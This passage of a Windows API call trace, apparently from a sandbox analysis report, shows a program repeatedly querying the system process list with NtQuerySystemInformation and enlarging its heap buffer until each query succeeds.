SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.498] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.498] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.606] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.606] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.606] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.606] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.606] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.607] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.607] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.715] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.716] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.716] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.716] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.825] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0215.933] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0215.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0215.933] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0215.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0215.933] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0215.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.934] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0215.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.934] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0215.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.934] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0215.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0215.934] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0215.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0215.934] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0215.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0215.934] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.043] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.043] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.043] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.043] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.044] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.044] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.044] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.044] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.044] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.152] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.152] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.153] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.153] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.263] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.263] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.264] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.265] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.265] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.265] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.374] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.374] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.479] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.479] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.479] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.480] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.480] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.480] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.480] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.480] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.480] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0216.480] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.589] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0216.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0216.590] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0216.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0216.590] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0216.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, 